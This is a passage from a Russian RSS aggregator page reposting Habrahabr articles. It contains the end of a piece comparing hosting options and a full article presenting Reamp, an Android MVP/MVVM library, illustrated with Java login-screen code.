                          Арендованные физические сервера хорошо подойдут достаточно большим проектам с потреблением в несколько тысяч долларов.

                          6. Покупка собственного железа


                          Примерная цена: $2 000-$10 000 за сервер разово.



                          «Железо» можно не арендовать, а купить. Вполне рабочий вариант, если вам очень нужно освоить несколько миллионов, в смысле, превратить операционные (ежемесячные) расходы в капитальные (разовые). И вы точно уверены, что:

                          а) будете использовать купленное «железо» больше срока, за который оно «отобьется» по сравнению с арендой,
                          б) вам хватит мощности на весь расчетный срок.

                          Помимо разовых расходов, больше плюсов, по сравнению с арендой, нет.

                          А минусов хватает. Если на сервере что-то сгорит — это ваша проблема. В лучшем случае производитель сервера пришлет замену. Если мощности «железа» не будет хватать, то вы либо докупаете новые сервера (получив у себя зоопарк из нескольких поколений машин), либо продаете текущее «железо» на Avito и покупаете новое.

                          Также надо помнить, что каждые несколько лет сервера становятся мощнее в пару раз (закон Мура до сих пор работает), при этом цена остается сопоставимой. Если арендуете сервер несколько лет, то можете в один момент отказаться от текущего сервера и взять новый, за те же деньги, но заметно мощнее. Если сервер ваш — так сделать будет нельзя.

                          Резюме


                          • Если нужно сверстать лендинг или одностраничник, удобно будет воспользоваться конструктором сайтов. Проще некуда.
                          • Если сайт простой и написан на php, можно использовать shared-хостинг. Дешево и сердито.
                          • Для веб-сервиса с богатым функционалом можно пробовать либо Облачные сервисы (если вы любите и умеете ими пользоваться), либо Виртуальные машины.
                          • Если чек за хостинг высокий и хочется сэкономить, можно присмотреться к аренде физического сервера.
                          • Выбирая любой вариант, не забудьте посчитать, в какой момент станут критичны ограничения для конкретно вашего сервиса и прикинуть варианты, что с этим можно будет сделать.

                          Бурного роста и высокого аптайма!
                          Original source: habrahabr.ru (comments, light).

                          https://habrahabr.ru/post/338746/


                          Метки:  

                          Библиотека Reamp: обезболивающее для ваших Android-приложений

                          Вторник, 26 Сентября 2017 г. 14:56 + в цитатник
                          eastbanctech сегодня в 14:56 Разработка

                          Библиотека Reamp: обезболивающее для ваших Android-приложений

                            Однажды мы в компании EastBanc Technologies устали бороться с теми архитектурными проблемами, которые возникают в Android-разработке и решили все исправить:). Мы хотели найти решение, которое удовлетворит всем нашим требованиям.


                            И, как это часто бывает, готового решения тогда не нашлось и нам пришлось сделать собственную библиотеку, которая уже приносит счастье нам, и может помочь и вам.


                            Какие проблемы решали:


                            • Уйти от жизненного цикла экранов, будь то Activity, Fragment или View
                            • Уйти от необходимости писать код для сохранения и восстановления состояния для каждого экрана
                            • Повысить стабильность: защититься от досадных крешей и утечек памяти
                            • Повысить переиспользуемость кода между телефонным UI и планшетным UI


                            Лирическое отступление. Почему Reamp?
                            Это же вроде такая приблуда для записывания электрогитар?
                            Конечно, в нашем случае Reamp к звукозаписи никакого отношения не имеет. Изначально мы думали что это будет аббревиатура, потому что там есть M и P (model и presenter), A — уже и не помним зачем, RE — потому что это было на реактиве написано. Но реактив мы уже выкинули, и осталось просто прикольное название.


                            В процессе реализации мы старались следовать манифесту, который сами же и придумали:


                            • Библиотека должна быть очень простой в освоении
                            • Библиотека должна быть очень простой в исполнении: минимум зависимостей, никакой манипуляции с байт-кодом и никакой кодогенерации
                            • Библиотека должна быть расширяемой
                            • Библиотека должна легко интегрироваться с другими популярными сопутствующими решениями

                            В результате у нас получилась MVP/MVVM библиотека, которую мы с успехом используем уже больше года и пока не собираемся менять. Мы считаем, что теперь пришло время поделиться ей с общественностью!


                            Зачем?


                            Давайте рассмотрим решение самой типовой задачи практически любого мобильного приложения – авторизация.


                            У нас есть поля ввода логина и пароля, кнопка входа, ProgressBar для отображения хода операции и TextView, чтобы показать результат.



                            Требования к поведению такого экрана довольно типичны:


                            • Кнопка входа должна быть заблокирована пока поля ввода не заполнены
                            • Кнопка входа должна быть заблокирована пока выполняется запрос к серверу
                            • При повороте экрана пользователь не должен вводить все заново, а операция входа не должна сбрасываться

                            Давайте проанализируем, о чем должен подумать разработчик при решении такой задачи.


                            Валидация


                            А что тут сложного? На loginEditText вешаем changeListener, который включает или выключает кнопку, когда login пустой или не пустой!


                            loginEditText.addTextChangeListener = { text -> button.setEnabled(text.length() > 0) }

                            Да, но это будет работать только для одного поля. А у нас еще есть пароль:


                            loginEditText.addTextChangeListener = { text -> validate() }
                            passwordEditText.addTextChangeListener = { text -> validate() }
                            
                            private void validate() {
                                boolean loginValid = loginEditText.getText().toString().lenght() > 0
                                boolean passwordValid = passwordEditText.getText().toString().lenght() > 0
                                button.setEnabled(loginValid && passwordValid)
                            }

                            Ну теперь то точно все! Не а, есть еще асинхронная операция входа, в процессе которой кнопка должна быть заблокирована.
                            Ок, просто выключаем кнопку перед выполнением запроса и… тогда ее можно будет включить, поменяв текст в loginEditText или passwordEditText.
                            Правильнее будет добавить проверку наличия активного запроса внутрь метода validate().
                            Наверное вы уже догадались, к чему этот пункт. Нужно помнить о куче вещей и их связей, которые могут влиять на UI.
                            О них легко забыть, когда нужно добавить и провалидировать еще одно поле ввода или Switch.


                            Вот, новый поворот


                            Для входа нам нужна асинхронная операция, будь то AsyncTask или RxJava + Scheduler, неважно.
                            Важно то, что мы не можем написать ее внутри нашей Activity, ведь мы не хотим останавливать ее при повороте экрана.
                            Нужно вынести задачу за рамки Activity, при ее запуске придумать и запомнить какой-то ее идентификатор,
                            чтобы позднее иметь возможность проверить статус этой задачи или получить ее результат.
                            И нужно будет написать какой-то менеджер подобных операций или взять из готовых, благо таковых много.


                            Состояние


                            Состояние экрана — это то, с чем приходится иметь дело постоянно.
                            Парадоксально, но факт — многие разработчики продолжают игнорировать состояние экрана в своих приложениях,
                            оправдываясь тем, что его программа работает только в одной ориентации.
                            В то время, как EditText умеет самостоятельно хранить введенный в него текст, состояние кнопки входа придется восстанавливать в соответствии с введенным текстом и текущей сетевой операцией.
                            Чем больше различных данных нужно хранить и восстанавливать в Activity, тем сложнее за ними следить и тем проще что-то упустить.


                            Какое решение предлагает Reamp?


                            В Reamp мы используем Presenter для реализации поведения экрана и StateModel для хранения тех данных, которые этому экрану нужны.


                            Все довольно просто. Presenter практически не зависит от жизненного цикла экрана.
                            Выполняя какие-то операции, которые от него требуются, Presenter заполняет объект StateModel разными нужными данными.
                            Каждый раз, когда Presenter считает, что свежие данные нужно показать на эране, он сообщает об этом своей View.


                            Show me the code!


                            На практике это работает следующим образом:


                            LoginState – класс, содержащий информацию о том, что должно отображаться на экране:
                            нужно ли показывать ProgressBar, какое состояние должно быть у кнопки входа, что написано в текстовых полях ввода и т.п.


                            LoginPresenter получает события от LoginActivity (ввели текст, нажали кнопку),
                            выполняет нужные операции, заполняет класс LoginState нужными данными и отправляет в LoginActivity на “рендеринг”.


                            LoginActivity получает событие о том, что данные в LoginState изменились и настраивает свой layout в соответствии с ними.


                            //LoginState
                            public class LoginState extends SerializableStateModel {
                                public String login;
                                public String password;
                                public boolean showProgress;
                                public Boolean loggedIn;
                            
                                public boolean isSuccessLogin() {
                                    return loggedIn != null && loggedIn;
                                }
                            }
                            
                            //LoginPresenter
                            public class LoginPresenter extends MvpPresenter {
                                @Override
                                public void onPresenterCreated() {
                                    super.onPresenterCreated();
                                    //настраиваем отображение при свежем старте
                                    getStateModel().setLogin("");
                                    getStateModel().setPassword("");
                                    getStateModel().setLoggedIn(null);
                                    getStateModel().setShowProgress(false);
                                    sendStateModel(); //отправляем LoginState на "отрисовку"
                                }
                            
                                // вызывается классом View, когда требуется выполнить логин
                                public void login() {
                            
                                    getStateModel().setShowProgress(true); // экран должен показать индикатор прогресса
                                    getStateModel().setLoggedIn(null); // результат входа пока неизвестен
                                    sendStateModel(); // отправляем текущее состояние экрана на "отрисовку"
                            
                                    // эмулируем пятисекундный запрос на вход
                                    new Handler()
                                            .postDelayed(new Runnable() {
                                                @Override
                                                public void run() {
                                                    getStateModel().setLoggedIn(true); // сообщаем об успешном входе
                                                    getStateModel().setShowProgress(false); // убираем индикатор прогресса
                                                    sendStateModel(); // отправляем текущее состояние экрана на "отрисовку"
                                                }
                                            }, 5000);
                                }
                            
                                public void loginChanged(String login) {
                                    getStateModel().setLogin(login); // запоминаем то, что ввел пользователь
                                }
                            
                                public void passwordChanged(String password) {
                                    getStateModel().setPassword(password); // запоминаем то, что ввел пользователь
                                }
                            }
                            
                            //LoginActivity
                            public class LoginActivity extends MvpAppCompatActivity {
                            
                                 /***/
                            
                                @Override
                                protected void onCreate(Bundle savedInstanceState) {
                                    super.onCreate(savedInstanceState);
                                    setContentView(R.layout.activity_login);
                            
                                    /***/
                            
                                    loginActionView.setOnClickListener(new View.OnClickListener() {
                                        @Override
                                        public void onClick(View v) {
                                            getPresenter().login(); // сообщаем о событии презентеру
                                        }
                                    });
                            
                                    // следим за тем, что ввел пользователь
                                    loginInput.addTextChangedListener(new SimpleTextWatcher() {
                                        @Override
                                        public void afterTextChanged(Editable s) {
                                            getPresenter().loginChanged(s.toString()); // сообщаем о событии презентеру
                                        }
                                    });
                            
                                    // следим за тем, что ввел пользователь
                                    passwordInput.addTextChangedListener(new SimpleTextWatcher() {
                                        @Override
                                        public void afterTextChanged(Editable s) {
                                            getPresenter().passwordChanged(s.toString()); // сообщаем о событии презентеру
                                        }
                                    });
                                }
                            
                                // вызывается библиотекой, когда требуется создать свежий экземпляр модели LoginState
                                @Override
                                public LoginState onCreateStateModel() {
                                    return new LoginState();
                                }
                            
                                // вызывается библиотекой, когда требуется создать свежий экземпляр презентера LoginPresenter
                                @Override
                                public MvpPresenter onCreatePresenter() {
                                    return new LoginPresenter();
                                }
                            
                                // вызывается библиотекой каждый раз, когда состояние экрана поменялось
                                @Override
                                public void onStateChanged(LoginState stateModel) {
                                    progressView.setVisibility(stateModel.showProgress ? View.VISIBLE : View.GONE); // устанавливаем нужное состояние индикатора прогресса
                                    loginActionView.setEnabled(!stateModel.showProgress); // пока происходит запрос, кнопка входа недоступна
                                    successView.setVisibility(stateModel.isSuccessLogin() ? View.VISIBLE : View.GONE); // устанавливаем нужное состояние "успешного" виджета
                                }
                            }

                            На первый взгляд все, что мы сделали – это вынесли значимые динамические данные в LoginState, перенесли часть кода (такую как запрос на вход) из Activity в Presenter и больше ничего. На второй взгляд — это действительно так :) Потому, что всю скучную работу за нас делает Reamp:


                            • Если мы повернем экран, то это никак не повлияет на работу презентера и запроса на вход. При пересоздании LoginActivity она сразу получит последнее состояние LoginState. Если запрос все еще выполняется, LoginState будет содержать информацию о том, что кнопка входа неактивна, а индикатор загрузки показывается. Если же операция входа успеет завершиться как раз в момент поворота экрана, презентер заполнит LoginState результатом входа и будущая LoginActivity сразу получит этот результат.
                            • Все данные, находящиеся в LoginState попадают в Bundle savedState, когда система просит сохранить состояние экрана. Разумеется, Reamp умеет восстанавливать LoginState из Bundle, если наша программа была выгружена из памяти ранее. По умолчанию для сохранения LoginState используется механизм сериализации объектов, но вы всегда можете написать свой, если нужно.
                            • Нет необходимости проверять savedState на null при старте LoginActivity, так же как и нет вероятности забыть показать ProgressBar, если запрос на вход уже в процессе. Весь код, отвечающий за отображение текущего состояния сосредоточен в одном месте и всегда учитывает данные из LoginState целиком. Такой подход обеспечивает консистентность данных на UI.
                            • Нет необходимости проверять доступность нашей Activity перед тем, как что-то сделать с UI, как это делается в некоторых других MVP-библиотеках. Другими словами, нет бесконечных проверок if (view != null). В презентере мы работаем напрямую с состоянием, которое доступно в любой момент времени.

                            Мы перечислили, как Reamp помогает избавиться от boilerplate-кода, но это далеко не весь профит от использования библиотеки. С помощью Reamp мы повышаем стабильность работы приложения:
                            Reamp позаботится о том, чтобы вызов метода onStateChanged(...) всегда происходил в главном потоке.


                            Все исключения, возникающие внутри вызова onStateChanged(...) не роняют процесс приложения. Правильная работа с исключениями в Java это высокий скилл, но исключения, возникающие на самом верхнем UI уровне (при настройке layout), чаще оказываются досадными недоразумениями, чем преднамеренным событием и аварийное завершение программы здесь абсолютно лишнее.
                            С Reamp можно не бояться утечек Activity, т.к. вы всегда работаете напрямую с классами презентера и состояния.


                            Last but not least, с помощью Reamp мы повышаем качество кода:


                            Код становится более тестируемым. В действительности, нам даже не нужны Instrumentation-тесты, т.к. достаточно протестировать презентер и убедиться, что после каждой операции наш LoginState имеет правильный набор данных


                            Класс состояния – это отличный кандидат для хранения UI логики. Если наш LoginStateзнает о прогрессе входа, введенных логине и пароле, то он уже имеет все исходные данные, чтобы решить нужно ли включить кнопку входа


                            public class LoginState extends SerializableStateModel {
                               /***/
                                public boolean isLoginActionEnabled() {
                                    return !showProgress
                                            && (loggedIn == null || !loggedIn)
                                            && !TextUtils.isEmpty(login)
                                            && !TextUtils.isEmpty(password);
                                }
                            }

                            Такой подход хорошо согласуется с принципом разделения ответственности и сильно разгружает код класса нашей LoginActicity.


                            Код становится переиспользуемым. LoginPresenter можно использовать и в других проектах, где нужно реализовать похожий экран, просто поменяв UI составляющую этого экрана.


                            Сравнение с похожими решениями


                            Безусловно, Reamp – не единственная MVP/MVVM библиотека, тысячи их!
                            Когда мы начинали делать Reamp мы сознательно хотели написать то, что нужно именно нам.
                            И, конечно, мы изучали имеющиеся на то время альтернативы, чтобы взять лучшее и избежать того, что нам не понравится :)
                            Не хочется устраивать холивар и тем более тыкать в кого-то пальцем, просто резюмируем то, что нам нравится в Reamp, а чего мы стараемся в нем избегать.


                            Во-первых, Reamp очень простой в использовании.
                            Мы не используем генерацию кода и стараемся вводить минимум новых классов, которые нужны лишь для работы самой библиотеки.
                            В отличие, к примеру, от новых Android Architecture Components, нам не требуется целого зоопарка вспомогательных технических классов и аннотаций,
                            чтобы решить те же проблемы.


                            Второй пункт является отчасти следствием первого.
                            Имея неперегруженную архитектуру и минимум зависимостей можно легко интегрироваться со многими популярными современными технологиями.
                            Например, с DataBinding, ведь StateModel уже и есть квинтэссенция тех данных, которые нужны DataBinding-у для работы.
                            Еще один пример, не имея никакой магии с байт-кодом, мы без всяких проблем используем Reamp программируя на Kotlin.


                            В-третьих, нет необходимости глобально менять какой-то существующий проект, можно просто начать использовать Reamp в уже существующем проекте.


                            В одной статье сложно рассказать про все, что хочется, но у нас есть демо-приложение, которое шаг за шагом покажет все возможности Reamp,
                            от самых простых до комплексных решений.



                            Ссылки


                            Reamp на GitHub — https://github.com/eastbanctechru/Reamp


                            Демо-приложение — https://github.com/eastbanctechru/Reamp/tree/master/sample


                            Если вы хотите попробовать Reamp в своем проекте или хотите получить больше информации,
                            загляните в Wiki проекта, а в особенности в раздел FAQ.

                            Original source: habrahabr.ru (comments, light).

                            https://habrahabr.ru/post/338744/


                            Метки:  

                            Поиск сообщений в rss_rss_hh_new
                            Страницы: 1437 ... 1161 1160 [1159] 1158 1157 ..
                            .. 1 Календарь